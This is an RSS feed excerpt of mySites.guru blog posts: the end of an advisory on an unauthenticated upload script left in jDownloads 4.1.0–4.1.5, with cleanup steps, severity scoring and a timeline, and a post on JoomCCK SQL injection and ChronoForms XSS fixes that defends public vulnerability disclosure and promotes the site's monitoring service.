&lt;p&gt;&lt;strong&gt;Clear the test_uploads folder.&lt;/strong&gt; Look for &lt;code&gt;administrator/components/com_jdownloads/test_uploads&lt;/code&gt;. If it exists, that is where the script writes, so review it for anything you did not put there, especially files that are not obviously your own, and then delete the folder.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check for signs it was used.&lt;/strong&gt; If a site ran 4.1.0 to 4.1.5 with the file in place for a while, do not just assume it is clean. Look for unexpected files in web-served folders, unfamiliar administrator accounts in your Joomla Users list sorted by registration date, and recently modified PHP files across the site.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you cannot get to a site immediately, you can also block the path at the web server as a stopgap, denying access to &lt;code&gt;upload-handler.php&lt;/code&gt;, but updating to 4.1.6 is cleaner and permanent.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Flags This Across Every Site&lt;/h2&gt;
&lt;p&gt;If you run sites through mySites.guru, two things are already working for you. First, mySites.guru now has a rule that flags any connected Joomla site running jDownloads 4.1.0 to 4.1.5 as vulnerable, so the affected sites surface on their own rather than waiting for you to go looking. Second, the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;extension inventory&lt;/a&gt; lets you search for jDownloads once and see every connected site running it and the version each is on, so you know your exposure in seconds instead of logging into forty admin panels.&lt;/p&gt;
&lt;p&gt;The monitoring also watches for the outcome, not just the extension. An unexpected file appearing in a public folder, or an unfamiliar administrator account, is caught by the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content and hacked-file detection&lt;/a&gt; regardless of which extension let it in. That is the same generic detection that catches &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles&lt;/a&gt; upload attempts, and it is why a new bug of this shape does not need a bespoke signature before it is visible.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Find every jDownloads install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for jDownloads across every connected Joomla site and filter for anything on 4.1.0 to 4.1.5 to find the installs that need updating to 4.1.6. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;File Uploads Are a Recurring Joomla Attack Surface&lt;/h2&gt;
&lt;p&gt;If you manage Joomla sites, treat every extension that touches file uploads as part of your attack surface. The underlying weakness here, a file with a dangerous type written where a check should have stopped it, is &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;, and it turns up across the whole category rather than in one vendor’s code.&lt;/p&gt;
&lt;p&gt;The recent run of Joomla disclosures makes the point. &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles&lt;/a&gt;, the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero-day&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/&quot;&gt;DJ-Classifieds&lt;/a&gt; were all variations on the same theme: an endpoint that accepted a file without a strict check on what actually got written. jDownloads’ version is a little different, because the dangerous file is not part of the working feature at all, just a test script that was never meant to reach a live site. The lesson is the same one behind the &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX and frontend endpoints blind spot&lt;/a&gt;: anything reachable over HTTP has to assume the request is hostile, and a stray script with no checks is reachable the moment it is installed.&lt;/p&gt;
&lt;p&gt;To the developer’s credit, jDownloads has a short security history and responded to the private report rather than ignoring it, shipping 4.1.6 within days. This is one file left in by mistake, not a pattern of problems, and the fix removes it properly.&lt;/p&gt;
&lt;h2&gt;Stay Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;This is one extension on one day, and there will be another, because Joomla runs on thousands of third-party extensions and the ones that handle files keep producing bugs like this. The hard part is never the removal itself. It is knowing the problem exists, knowing which of your sites are affected, and getting to them before someone else does.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known problem, jDownloads 4.1.0 to 4.1.5 included, and lets you act across all of them from one screen. When something like this surfaces before there is a CVE or a clear public warning, you still see exactly which of your sites run it.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is found, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability flags and one-click updates across every site you manage. If a site has already been touched, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is the done-for-you option.&lt;/p&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-434, unrestricted upload of a file with a dangerous type. It is reachable over the network by an anonymous user, with no login and no user interaction, on any site running jDownloads 4.1.0 to 4.1.5. On a default server the script’s extension list keeps it short of direct code execution, so the immediate impact is unauthenticated file hosting and disk abuse; it reaches remote code execution on servers that execute secondary extensions or where an administrator has allowed an executable type. We assess it as High severity, CVSS 4.0 8.8 (&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;), scoring the guaranteed arbitrary file write rather than the host-dependent code execution. It is tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61900/&quot;&gt;CVE-2026-61900&lt;/a&gt;. jDownloads published a security advisory and released the patched 4.1.6 on 18 July 2026.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.8&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;Unauthenticated&lt;/span&gt;
        &lt;span&gt;CVE-2026-61900; fixed in jDownloads 4.1.6&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Reachable by anyone on the internet with no account. On a default server it is unauthenticated file hosting and disk abuse; it becomes remote code execution on servers that run secondary file extensions or where an administrator has allowed an executable upload type. The fix is to update to 4.1.6, or delete the file by hand if you cannot update straight away.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login&lt;/span&gt;
        &lt;span&gt;Fixed in 4.1.6&lt;/span&gt;
        &lt;span&gt;Malware hosting&lt;/span&gt;
        &lt;span&gt;RCE on misconfigured hosts&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;





















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;jDownloads (&lt;code&gt;com_jdownloads&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Arno Betz, jdownloads.com&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated arbitrary file upload (leftover test script)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;File&lt;/td&gt;&lt;td&gt;&lt;code&gt;administrator/components/com_jdownloads/assets/upload/upload-handler.php&lt;/code&gt; (MD5 &lt;code&gt;d5bbd57fd97c99890f6a5fdc9d79ec00&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61900/&quot;&gt;CVE-2026-61900&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Severity&lt;/td&gt;&lt;td&gt;High (our assessment)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;8.8 (High), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N&lt;/code&gt; (our own assessment)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reported by&lt;/td&gt;&lt;td&gt;A mySites.guru subscriber, privately, to the vendor&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;4.1.0 to 4.1.5 (file introduced in 4.1.0; absent from 4.0.52 and earlier)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.jdownloads.com/index.php/news/jdownloads-4-1-6-secure-update-released.html&quot;&gt;jDownloads 4.1.6&lt;/a&gt;, released 18 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-16&lt;/strong&gt; The vendor confirms the upload handler was shipped by mistake Arno Betz confirms privately that upload-handler.php was experimental upload code included in the jDownloads release package in error, and says a fix removing the handler and the test_uploads directory is being prepared.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-17&lt;/strong&gt; We reproduce it, flag the affected range and publish The flaw is reproduced on a local Joomla install and the range confirmed by comparing official packages. Sites running 4.1.0 to 4.1.5 are flagged. No proof of concept is released.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-18&lt;/strong&gt; jDownloads 4.1.6 removes the leftover files A security update that strips the leftover upload files from the package and clears the test_uploads directory on install.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.jdownloads.com/index.php/news/jdownloads-4-1-6-secure-update-released.html&quot;&gt;jDownloads 4.1.6 Secure Update Released&lt;/a&gt; - the vendor&apos;s own advisory for the patched release, with its notes on the removed legacy files and cleanup on install.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the official definition of this weakness class from MITRE.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP Unrestricted File Upload&lt;/a&gt; - why file upload flaws rate so highly and how far they can go.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - the developer&apos;s checklist for accepting uploads safely, including why storing uploads outside the web root matters.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Securing_Joomla_extensions&quot;&gt;Securing Joomla extensions&lt;/a&gt; - Joomla&apos;s own guidance for developers on access checks and safe file handling.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the wider run of Joomla extension flaws this sits alongside.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>jdownloads</category><category>file-upload</category><enclosure url="https://mysites.guru/img/og/blog/jdownloads-4-1-unauthenticated-upload-flaw.png" length="0" type="image/png"/></item><item><title>We Are Not the Only Ones Auditing Joomla Extensions</title><link>https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/</link><guid isPermaLink="true">https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/</guid><description>Two Joomla extension flaws went public via the Joomla CNA: a SQL injection in JoomCCK and a stored XSS in ChronoForms. Neither was ours. Update now.</description><pubDate>Fri, 17 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru has reported a run of Joomla extension vulnerabilities over the past month, enough of them that you could be forgiven for thinking we are the only people auditing this code. We are not, and this week proved it cleanly. Two more Joomla extension vulnerabilities were published by the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;, both rated High, and neither of them was ours.&lt;/p&gt;
&lt;p&gt;We are writing about them anyway, for two reasons. Our customers run both extensions, so the update matters to them whoever found the flaw. And it is worth saying out loud that a healthy security ecosystem has more than one set of eyes in it.&lt;/p&gt;
&lt;h2&gt;Two more extension flaws, and neither was ours&lt;/h2&gt;
&lt;p&gt;Here are the two, exactly as the Joomla CNA published them:&lt;/p&gt;


























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Flaw&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;th&gt;Reported by&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49048/&quot;&gt;CVE-2026-49048&lt;/a&gt;&lt;/td&gt;&lt;td&gt;JoomCCK (JoomCoder)&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;&lt;td&gt;6.4.1&lt;/td&gt;&lt;td&gt;Kamil Soltanov&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-58148/&quot;&gt;CVE-2026-58148&lt;/a&gt;&lt;/td&gt;&lt;td&gt;ChronoForms (ChronoEngine)&lt;/td&gt;&lt;td&gt;Unauthenticated stored XSS&lt;/td&gt;&lt;td&gt;8.0.53&lt;/td&gt;&lt;td&gt;Italo Almeida&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49048/&quot;&gt;CVE-2026-49048&lt;/a&gt;: SQL Injection in JoomCCK&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49048/&quot;&gt;CVE-2026-49048&lt;/a&gt; is an unauthenticated SQL injection in JoomCCK, the content construction kit by &lt;a href=&quot;https://www.joomcoder.com/&quot;&gt;JoomCoder&lt;/a&gt;. A front-end controller task builds two SQL statements by concatenating a request parameter straight into the query, with no escaping or parameterisation, so an anonymous visitor can bend the query and read from the database. Every version up to and including 6.4.0 is affected, and it is fixed in 6.4.1. The Joomla CNA scored it CVSS 4.0 8.7 (High), and it rates 9.8 (Critical) on the older CVSS 3.1 scale. It was reported by Kamil Soltanov.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.7&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;CVE-2026-49048 (JoomCCK), scored by the Joomla CNA&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated SQL injection reachable over the internet with no login, ending in read access to the site database. It also rates 9.8 (Critical) on the older CVSS 3.1 scale. Fixed in JoomCCK 6.4.1.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;Database read&lt;/span&gt;
        &lt;span&gt;9.8 Critical on CVSS 3.1&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-58148/&quot;&gt;CVE-2026-58148&lt;/a&gt;: Stored XSS in ChronoForms&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-58148/&quot;&gt;CVE-2026-58148&lt;/a&gt; is an unauthenticated stored cross-site scripting flaw in ChronoForms, the long-established form builder by &lt;a href=&quot;https://www.chronoengine.com/&quot;&gt;ChronoEngine&lt;/a&gt;. An anonymous visitor can store markup that later executes in another user’s browser. Every version up to and including 8.0.52 is affected, and it is fixed in 8.0.53. It too was scored CVSS 4.0 8.7 (High), and was reported by Italo Almeida.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.7&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;CVE-2026-58148 (ChronoForms), scored by the Joomla CNA&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated stored cross-site scripting reachable with no login, where injected markup later executes in another user&apos;s browser. Fixed in ChronoForms 8.0.53.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Unauthenticated stored XSS&lt;/span&gt;
        &lt;span&gt;Runs in a visitor&apos;s browser&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Credit where it is due. Kamil Soltanov found the JoomCCK injection and Italo Almeida the ChronoForms XSS, both credited by name in the public CVE records. Neither is connected to us. That is the whole point of this post: independent researchers are auditing the same extensions we are, and that is a good thing.&lt;/p&gt;
&lt;p&gt;It has kept happening since. In August 2026 the Joomla CNA published &lt;a href=&quot;https://mysites.guru/blog/fabrik-unauthenticated-rce-calc-element/&quot;&gt;an unauthenticated remote code execution flaw in Fabrik&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-66915/&quot;&gt;CVE-2026-66915&lt;/a&gt;, scored a maximum CVSS 10.0 and reported by Moe Khalilov of LeetProtect Research. Also not ours.&lt;/p&gt;
&lt;p&gt;In September 2026 it was &lt;a href=&quot;https://mysites.guru/blog/jctables-joomla-sql-injection/&quot;&gt;an unauthenticated SQL injection in JCTables&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76570/&quot;&gt;CVE-2026-76570&lt;/a&gt;, another 10.0, found by Valentin Lobstein of VulnCheck. The injection works on write queries too, so an anonymous visitor could rewrite the database as well as read it. Not ours either.&lt;/p&gt;
&lt;h2&gt;Why a busy month of disclosures is good news&lt;/h2&gt;
&lt;p&gt;It is easy to read a run of extension CVEs as a sign that Joomla itself is falling apart, and it is worth being precise that these are flaws in third-party extensions, not in Joomla’s own core. The truth is closer to the opposite of falling apart: flaws that are found and disclosed get fixed. The ones that should worry you are the ones no one is looking for, sitting in code that never gets a second pass. More researchers looking at widely used extensions means more of those quiet flaws get pulled into the light and patched.&lt;/p&gt;
&lt;p&gt;The catch is the part no one puts on the CVE record. Every one of these fixes is one more update your sites need, and the fix only protects the sites that actually take it. A disclosure is only half the job. The rollout is the half that decides whether any of it protected anyone, and the rollout is exactly the part that gets skipped when checking every site by hand is a chore that grows with every client you take on.&lt;/p&gt;
&lt;h2&gt;But doesn’t publishing just tip off hackers?&lt;/h2&gt;
&lt;p&gt;Every time we post one of these, someone on Facebook tells us we should keep quiet, that writing it up only hands attackers a map, or that we are doing great harm to the Joomla community by making the flaw public at all. It is a fair thing to raise, and it deserves a real answer rather than a shrug.&lt;/p&gt;
&lt;p&gt;A blog post like this one is the end of the process, not the start of it. Behind it sits weeks, sometimes months, of work no one sees: finding the flaw, proving it on a test install, writing it up for the developer, disclosing privately, waiting, testing the fix they send back on their own behalf, coordinating the release, waiting for a CVE to be assigned, and waiting again. By the time we publish, the fix has already shipped and the CVE record already exists. We are the last car in that convoy, not the first.&lt;/p&gt;
&lt;div&gt;
  &lt;blockquote&gt;
    &lt;p&gt;&quot;Malicious actors do not read blog posts to work out what to exploit. They are already on it.&quot;&lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/div&gt;
&lt;p&gt;That is the part the objection misses. Sophisticated threat actors, some of them state-backed, are already on these extensions, continuously and constantly, probing widely used code for exactly this kind of flaw, often before anything is public at all. Keeping a vulnerability secret does not stop them finding it, it only stops the defenders knowing. That is how zero-days come to exist in the first place. Where a fix already exists, they are watching the signals that ship long before any write-up. The moment a vendor ships a release labelled “security”, someone diffs it against the previous version and finds the changed line in minutes.&lt;/p&gt;
&lt;p&gt;This is not unique to extensions, and it is worth spelling out because it is exactly how Joomla’s own core security releases work. The moment the Joomla project ships a core security update, malicious actors are already poring over the diff, isolating the changed lines, and building tools to exploit every site that has not updated yet. By releasing the fixed code at all, Joomla has itself invited that critique, because a security patch is a map straight to the bug it closes. No one sensible argues the project should therefore stop shipping fixes. The release has to be public to protect anyone, and the release is what starts the clock, not a blog post written after it.&lt;/p&gt;
&lt;p&gt;The moment a CVE record is created, it is indexed and scraped. Exploitation starts at the release and the CVE, not at the write-up, and it would start there whether or not we ever wrote a word. Some vendors we have given a ninety-day window have simply shipped a patched version without telling us, and declined to coordinate at all. The fix was already public, the diff was already there to read, and our silence would have protected no one.&lt;/p&gt;
&lt;p&gt;The CVE record is not only fuel for attackers, it is the reason defenders stand a chance of keeping up. The &lt;a href=&quot;https://www.cve.org/&quot;&gt;CVE program&lt;/a&gt; exists to standardise how each vulnerability is named and tracked, so a security team can identify the weakness, scan their own estate for it, and prioritise the fix from one shared reference rather than a hundred vendor blogs in a hundred different formats. A flaw fixed with no error, with no CVE, still helps the attacker who reverse-engineers the patch, and helps no one else. A published CVE is what lets everyone else catch up. It is the record mySites.guru consumes to tell you which of your sites are affected, which is the whole point of assigning one.&lt;/p&gt;
&lt;p&gt;A silent argument never wins. Keeping quiet does not slow an attacker who is already working from public information, it only leaves the people running the software in the dark. The scale settles it anyway. Wordfence alone published more than two hundred WordPress plugin and theme vulnerabilities in the past week, and more than eight hundred this month. We have published fewer than fifteen, a vanishingly small share of what is already out in the open, and the idea that our handful of posts is what moves the needle does not hold up next to those numbers. What our fifteen do have is some of the most critical flaws we have ever found, which is exactly why the people running that code deserve to hear about them.&lt;/p&gt;
&lt;p&gt;Put the choice the way it actually presents itself. Search Google for “hacked by AntonKill” and you are shown a sea of &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;defaced Joomla sites&lt;/a&gt; whose owners never applied the update that would have saved them. Would you rather read a blog post we wrote about the flaw and how to close it, or be one more entry in that list of a million sites that never bothered? A write-up is the version of the story where the reader still gets to act first.&lt;/p&gt;
&lt;h2&gt;Then there is Bob the Builder&lt;/h2&gt;
&lt;p&gt;The “just stay quiet” argument never answers the obvious question: if not a blog post, then how is anyone meant to find out at all?&lt;/p&gt;
&lt;p&gt;Open source has no mailing list. There is no register of everyone running a given Joomla extension, and no button a developer can press to reach them. Commercial extensions are barely better off. Most vendors do not hold an accurate list of who actually runs their product, and the lists they do hold are full of addresses that unsubscribed long ago and never see the alert.&lt;/p&gt;
&lt;p&gt;So picture Bob. Bob is a builder, on site all day, up a ladder. His website was put together one weekend by his teenage son, who was bored and dodging his homework. Bob is never going to read a security advisory. He will not check a changelog, and he will not find his way to a blog post about an SQL injection in an extension he could not name if you asked him. Telling Bob to follow the developer’s announcements is telling him nothing. He does not even know which extensions went into his site in the first place, and he has never had a reason to. What Bob can do is pay someone to watch on his behalf, which is the whole reason a service like mySites.guru exists.&lt;/p&gt;
&lt;p&gt;At the other end sits the agency with a thousand client sites, for whom “just update it” is the same small job multiplied by a thousand logins. They do not need telling that a flaw exists so much as they need one place to see which of their sites are affected and fix them together. It is the same need Bob has, at a different scale.&lt;/p&gt;
&lt;h2&gt;What almost 100,000 live sites tell us&lt;/h2&gt;
&lt;p&gt;It is easy to forget, in an argument about whether a blog post helps or harms, what sits behind these posts. mySites.guru is not a side project. It has thousands of paying subscribers and watches close to 100,000 live websites every single day. That scale is the whole point: our view of Joomla extension security comes from the real world at volume, not from a lab or a single test install on a laptop.&lt;/p&gt;
&lt;p&gt;We see the trends in that data before the Joomla project itself hears about them. We can watch which extensions are suddenly being probed, which exploits are being tried, and which sites have been compromised, because we are looking at real production websites rather than a hypothesis. The sites we watch are every kind there is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the village bakery&lt;/li&gt;
&lt;li&gt;the local butcher&lt;/li&gt;
&lt;li&gt;the school-project site a kid built five years ago and left running on a Raspberry Pi, long since compromised and now hosting a crypto-miner and a backdoor for someone else&lt;/li&gt;
&lt;li&gt;and, at the other end, the sites behind government bodies in countries all around the world, hundreds of them&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That range is exactly why this work matters. A flaw in a Joomla extension is never an abstract CWE number to us. It is a specific list of real sites, run by real people who mostly have no idea the extension they installed once has a hole in it. When we tell you to update JoomCCK or ChronoForms, it is because we can see who is running them, and what tends to happen to the sites that do not.&lt;/p&gt;
&lt;h2&gt;How to make sure you actually get the fixes&lt;/h2&gt;
&lt;p&gt;This is the job mySites.guru is built for, and it does not care who found the flaw. We track published Joomla extension CVEs, add the affected version ranges to our vulnerability database, and flag every connected site running a vulnerable version. Whether the finder was us, Kamil Soltanov, Italo Almeida, or anyone else, the outcome for you is the same: the affected sites light up, and you update them.&lt;/p&gt;
&lt;div&gt;
  &lt;blockquote&gt;
    &lt;p&gt;&quot;In our experience there are only two kinds of site owner: the ones who patch the day a fix ships, and the ones who never patch at all.&quot;&lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/div&gt;
&lt;p&gt;We cannot make anyone patch. What we can do is take away every excuse not to. mySites.guru puts the affected sites, the available update, and the button that applies it in one console, so “I did not know” and “keeping up across that many sites is too much work” stop being reasons.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Find every JoomCCK and ChronoForms install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search once and see every connected Joomla site running either extension, the version each is on, and whether an update is waiting. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;So the short version is the same as it always is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update JoomCCK to &lt;strong&gt;6.4.1&lt;/strong&gt; or later&lt;/li&gt;
&lt;li&gt;Update ChronoForms to &lt;strong&gt;8.0.53&lt;/strong&gt; or later&lt;/li&gt;
&lt;li&gt;If you manage more than a handful of sites, let mySites.guru show you which ones run either extension rather than checking each admin by hand, then &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;push the update to all of them from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We will keep auditing Joomla extensions and reporting what we find. It is reassuring to be reminded, in the same week, that we are in good company doing it.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the run of extension vulnerabilities we found and reported over the same period.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the front-end endpoint pattern behind the JoomCCK injection and a long line of similar flaws.&lt;/li&gt;
